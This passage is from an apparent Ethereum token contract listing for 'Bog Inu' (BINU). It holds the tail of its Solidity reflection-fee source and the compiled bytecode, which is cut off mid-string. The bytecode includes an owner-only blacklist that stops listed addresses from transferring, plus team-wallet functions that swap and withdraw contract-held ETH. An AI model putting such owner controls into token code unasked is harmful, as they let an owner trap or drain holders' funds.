uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101bb5760003560e01c806395d89b41116100ec578063c9567bf91161008a578063d543dbeb11610064578063d543dbeb146105c3578063dd62ed3e146105ec578063f237c1fd14610629578063fb1eb14b14610654576101c2565b8063c9567bf914610556578063d28d88521461056d578063d49d518114610598576101c2565b8063af465a27116100c6578063af465a27146104c0578063b09f1266146104eb578063b515566a14610516578063c3c8cd801461053f576101c2565b806395d89b411461042d5780639eb942e514610458578063a9059cbb14610483576101c2565b806345e0b9d41161015957806370a082311161013357806370a0823114610383578063715018a6146103c057806374c7b41c146103d75780638da5cb5b14610402576101c2565b806345e0b9d4146103185780635932ead1146103435780636fc3eaec1461036c576101c2565b806323b872dd1161019557806323b872dd1461025a578063313ce5671461029757806332424aa3146102c25780633b124fe7146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f257806318160ddd1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc61067f565b6040516101e991906131a2565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190612cc5565b6106bc565b6040516102269190613187565b60405180910390f35b34801561023b57600080fd5b506102446106da565b6040516102519190613344565b60405180910390f35b34801561026657600080fd5b50610281600480360381019061027c9190612c76565b6106eb565b60405161028e9190613187565b60405180910390f35b3480156102a357600080fd5b506102ac6107c4565b6040516102b991906133b9565b60405180910390f35b3480156102ce57600080fd5b506102d76107cd565b6040516102e491906133b9565b60405180910390f35b3480156102f957600080fd5b506103026107d2565b60405161030f9190613344565b60405180910390f35b34801561032457600080fd5b5061032d6107d8565b60405161033a9190613344565b60405180910390f35b34801561034f57600080fd5b5061036a60048036038101906103659190612d42565b6107de565b005b34801561037857600080fd5b50610381610890565b005b34801561038f57600080fd5b506103aa60048036038101906103a59190612be8565b610902565b6040516103b79190613344565b60405180910390f35b3480156103cc57600080fd5b506103d5610953565b005b3480156103e357600080fd5b506103ec610aa6565b6040516103f99190613344565b60405180910390f35b34801561040e57600080fd5b50610417610aac565b60405161042491906130b9565b60405180910390f35b34801561043957600080fd5b50610442610ad5565b60405161044f91906131a2565b60405180910390f35b34801561046457600080fd5b5061046d610b12565b60405161047a9190613344565b60405180910390f35b34801561048f57600080fd5b506104aa60048036038101906104a59190612cc5565b610b18565b6040516104b79190613187565b60405180910390f35b3480156104cc57600080fd5b506104d5610b36565b6040516104e29190613344565b60405180910390f35b3480156104f757600080fd5b50610500610b43565b60405161050d91906131a2565b60405180910390f35b34801561052257600080fd5b5061053d60048036038101906105389190612d01565b610b7c565b005b34801561054b57600080fd5b50610554610ccc565b005b34801561056257600080fd5b5061056b610d46565b005b34801561057957600080fd5b506105826112a2565b60405161058f91906131a2565b60405180910390f35b3480156105a457600080fd5b506105ad6112db565b6040516105ba9190613344565b60405180910390f35b3480156105cf57600080fd5b506105ea60048036038101906105e59190612d94565b6112e1565b005b3480156105f857600080fd5b50610613600480360381019061060e9190612c3a565b61142a565b6040516106209190613344565b60405180910390f35b34801561063557600080fd5b5061063e6114b1565b60405161064b9190613344565b60405180910390f35b34801561066057600080fd5b506106696114b7565b6040516106769190613344565b60405180910390f35b60606040518060400160405280600781526020017f426f6720496e7500000000000000000000000000000000000000000000000000815250905090565b60006106d06106c96114bd565b84846114c5565b6001905092915050565b6000683635c9adc5dea00000905090565b60006106f8848484611690565b6107b9846107046114bd565b6107b485604051806060016040528060288152602001613a7d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061076a6114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f729092919063ffffffff16565b6114c5565b600190509392505050565b60006009905090565b600981565b600a5481565b60085481565b6107e66114bd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90613284565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108d16114bd565b73ffffffffffffffffffffffffffffffffffffffff16146108f157600080fd5b60004790506108ff81611fd6565b50565b600061094c600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612042565b9050919050565b61095b6114bd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109df90613284565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f42494e5500000000000000000000000000000000000000000000000000000000815250905090565b600b5481565b6000610b2c610b256114bd565b8484611690565b6001905092915050565b683635c9adc5dea0000081565b6040518060400160405280600481526020017f42494e550000000000000000000000000000000000000000000000000000000081525081565b610b846114bd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0890613284565b60405180910390fd5b60005b8151811015610cc857600160066000848481518110610c5c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610cc09061365a565b915050610c14565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0d6114bd565b73ffffffffffffffffffffffffffffffffffffffff1614610d2d57600080fd5b6000610d3830610902565b9050610d43816120b0565b50565b610d4e6114bd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd290613284565b60405180910390fd5b601060149054906101000a900460ff1615610e2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2290613304565b60405180910390fd5b600073a1ae4578ac1fde5ecb30115623d92b67f4c1ac27905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ebb30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006114c5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0157600080fd5b505afa158015610f15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f399190612c11565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f9b57600080fd5b505afa158015610faf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd39190612c11565b6040518363ffffffff1660e01b8152600401610ff09291906130d4565b602060405180830381600087803b15801561100a57600080fd5b505af115801561101e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110429190612c11565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110cb30610902565b6000806110d6610aac565b426040518863ffffffff1660e01b81526004016110f896959493929190613126565b6060604051808303818588803b15801561111157600080fd5b505af1158015611125573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061114a9190612dbd565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550674563918244f400006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161124c9291906130fd565b602060405180830381600087803b15801561126657600080fd5b505af115801561127a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129e9190612d6b565b5050565b6040518060400160405280600781526020017f426f6720496e750000000000000000000000000000000000000000000000000081525081565b60001981565b6112e96114bd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136d90613284565b60405180910390fd5b600081116113b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b090613244565b60405180910390fd5b6113e860646113da83683635c9adc5dea000006123aa90919063ffffffff16565b61242590919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60115460405161141f9190613344565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b60095481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c906132e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c90613204565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116839190613344565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f7906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611770576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611767906131c4565b60405180910390fd5b600081116117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117aa906132a4565b60405180910390fd5b6005600a819055506005600b819055506117cb610aac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118395750611809610aac565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611eaf57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118e25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118eb57600080fd5b601060159054906101000a900460ff16611eae57601060179054906101000a900460ff1615611b2d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561197c57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d65750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a305750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b2c57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a766114bd565b73ffffffffffffffffffffffffffffffffffffffff161480611aec5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ad46114bd565b73ffffffffffffffffffffffffffffffffffffffff16145b611b2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2290613324565b60405180910390fd5b5b5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c465750601060179054906101000a900460ff165b15611cf657601154811115611c5a57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611ca557600080fd5b601e42611cb2919061347a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611da15750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611df75750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e0d576005600a819055506005600b819055505b6000611e1830610902565b9050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611e845750601060169054906101000a900460ff165b15611eac57611e92816120b0565b60004790506000811115611eaa57611ea947611fd6565b5b505b505b5b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f565750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f6057600090505b611f6c8484848461246f565b50505050565b6000838311158290611fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb191906131a2565b60405180910390fd5b5060008385611fc9919061355b565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561203e573d6000803e3d6000fd5b5050565b6000600854821115612089576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612080906131e4565b60405180910390fd5b600061209361249c565b90506120a8818461242590919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561210e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561213c5781602001602082028036833780820191505090505b509050308160008151811061217a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561221c57600080fd5b505afa158015612230573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122549190612c11565b8160018151811061228e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122f530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114c5565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161235995949392919061335f565b600060405180830381600087803b15801561237357600080fd5b505af1158015612387573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6000808314156123bd576000905061241f565b600082846123cb9190613501565b90508284826123da91906134d0565b1461241a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241190613264565b60405180910390fd5b809150505b92915050565b600061246783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124c7565b905092915050565b8061247d5761247c61252a565b5b61248884848461256d565b8061249657612495612738565b5b50505050565b60008060006124a961274c565b915091506124c0818361242590919063ffffffff16565b9250505090565b6000808311829061250e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250591906131a2565b60405180910390fd5b506000838561251d91906134d0565b9050809150509392505050565b6000600a5414801561253e57506000600b54145b156125485761256b565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061257f876127ae565b9550955095509550955095506125dd86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281690919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061267285600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286090919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126be816128be565b6126c8848361297b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127259190613344565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea000009050612782683635c9adc5dea0000060085461242590919063ffffffff16565b8210156127a157600854683635c9adc5dea000009350935050506127aa565b81819350935050505b9091565b60008060008060008060008060006127cb8a600a54600b546129b5565b92509250925060006127db61249c565b905060008060006127ee8e878787612a4b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061285883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f72565b905092915050565b600080828461286f919061347a565b9050838110156128b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ab90613224565b60405180910390fd5b8091505092915050565b60006128c861249c565b905060006128df82846123aa90919063ffffffff16565b905061293381600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286090919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129908260085461281690919063ffffffff16565b6008819055506129ab8160095461286090919063ffffffff16565b6009819055505050565b6000806000806129e160646129d3888a6123aa90919063ffffffff16565b61242590919063ffffffff16565b90506000612a0b60646129fd888b6123aa90919063ffffffff16565b61242590919063ffffffff16565b90506000612a3482612a26858c61281690919063ffffffff16565b61281690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a6485896123aa90919063ffffffff16565b90506000612a7b86896123aa90919063ffffffff16565b90506000612a9287896123aa90919063ffffffff16565b90506000612abb82612aad858761281690919063ffffffff16565b61281690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612ae7612ae2846133f9565b6133d4565b90508083825260208201905082856020860282011115612b0657600080fd5b60005b85811015612b365781612b1c8882612b40565b845260208401935060208301925050600181019050612b09565b5050509392505050565b600081359050612b4f81613a37565b92915050565b600081519050612b6481613a37565b92915050565b600082601f830112612b7b57600080fd5b8135612b8b848260208601612ad4565b91505092915050565b600081359050612ba381613a4e565b92915050565b600081519050612bb881613a4e565b92915050565b600081359050612bcd81613a65565b92915050565b600081519050612be281613a65565b92915050565b600060208284031215612bfa57600080fd5b6000612c0884828501612b40565b91505092915050565b600060208284031215612c2357600080fd5b6000612c3184828501612b55565b91505092915050565b60008060408385031215612c4d57600080fd5b6000612c5b85828601612b40565b9250506020612c6c85828601612b40565b9150509250929050565b600080600060608486031215612c8b57600080fd5b6000612c9986828701612b40565b9350506020612caa86828701612b40565b9250506040612cbb86828701612bbe565b9150509250925092565b60008060408385031215612cd857600080fd5b6000612ce685828601612b40565b9250506020612cf785828601612bbe565b9150509250929050565b600060208284031215612d1357600080fd5b600082013567ffffffffffffffff811115612d2d57600080fd5b612d3984828501612b6a565b91505092915050565b600060208284031215612d5457600080fd5b6000612d6284828501612b94565b91505092915050565b600060208284031215612d7d57600080fd5b6000612d8b84828501612ba9565b91505092915050565b600060208284031215612da657600080fd5b6000612db484828501612bbe565b91505092915050565b600080600060608486031215612dd257600080fd5b6000612de086828701612bd3565b9350506020612df186828701612bd3565b9250506040612e0286828701612bd3565b9150509250925092565b6000612e188383612e24565b60208301905092915050565b612e2d8161358f565b82525050565b612e3c8161358f565b82525050565b6000612e4d82613435565b612e578185613458565b9350612e6283613425565b8060005b83811015612e93578151612e7a8882612e0c565b9750612e858361344b565b925050600181019050612e66565b5085935050505092915050565b612ea9816135a1565b82525050565b612eb8816135e4565b82525050565b6000612ec982613440565b612ed38185613469565b9350612ee38185602086016135f6565b612eec81613730565b840191505092915050565b6000612f04602383613469565b9150612f0f82613741565b604082019050919050565b6000612f27602a83613469565b9150612f3282613790565b604082019050919050565b6000612f4a602283613469565b9150612f55826137df565b604082019050919050565b6000612f6d601b83613469565b9150612f788261382e565b602082019050919050565b6000612f90601d83613469565b9150612f9b82613857565b602082019050919050565b6000612fb3602183613469565b9150612fbe82613880565b604082019050919050565b6000612fd6602083613469565b9150612fe1826138cf565b602082019050919050565b6000612ff9602983613469565b9150613004826138f8565b604082019050919050565b600061301c602583613469565b915061302782613947565b604082019050919050565b600061303f602483613469565b915061304a82613996565b604082019050919050565b6000613062601783613469565b915061306d826139e5565b602082019050919050565b6000613085601183613469565b915061309082613a0e565b602082019050919050565b6130a4816135cd565b82525050565b6130b3816135d7565b82525050565b60006020820190506130ce6000830184612e33565b92915050565b60006040820190506130e96000830185612e33565b6130f66020830184612e33565b9392505050565b60006040820190506131126000830185612e33565b61311f602083018461309b565b9392505050565b600060c08201905061313b6000830189612e33565b613148602083018861309b565b6131556040830187612eaf565b6131626060830186612eaf565b61316f6080830185612e33565b61317c60a083018461309b565b979650505050505050565b600060208201905061319c6000830184612ea0565b92915050565b600060208201905081810360008301526131bc8184612ebe565b905092915050565b600060208201905081810360008301526131dd81612ef7565b9050919050565b600060208201905081810360008301526131fd81612f1a565b9050919050565b6000602082019050818103600083015261321d81612f3d565b9050919050565b6000602082019050818103600083015261323d81612f60565b9050919050565b6000602082019050818103600083015261325d81612f83565b9050919050565b6000602082019050818103600083015261327d81612fa6565b9050919050565b6000602082019050818103600083015261329d81612fc9565b9050919050565b600060208201905081810360008301526132bd81612fec565b9050919050565b600060208201905081810360008301526132dd8161300f565b9050919050565b600060208201905081810360008301526132fd81613032565b9050919050565b6000602082019050818103600083015261331d81613055565b9050919050565b6000602082019050818103600083015261333d81613078565b9050919050565b6000602082019050613359600083018461309b565b92915050565b600060a082019050613374600083018861309b565b6133816020830187612eaf565b81810360408301526133938186612e42565b90506133a26060830185612e33565b6133af608083018461309b565b9695505050505050565b60006020820190506133ce60008301846130aa565b92915050565b60006133de6133ef565b90506133ea8282613629565b919050565b6000604051905090565b600067ffffffffffffffff82111561341457613413613701565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c46136a3565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136d2565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f6136a3565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b925082821015613584576135836136a3565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b61363282613730565b810181811067ffffffffffffffff8211171561365157613650613701565b5b80604052505050565b6000613665826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613698576136976136a3565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f7472616469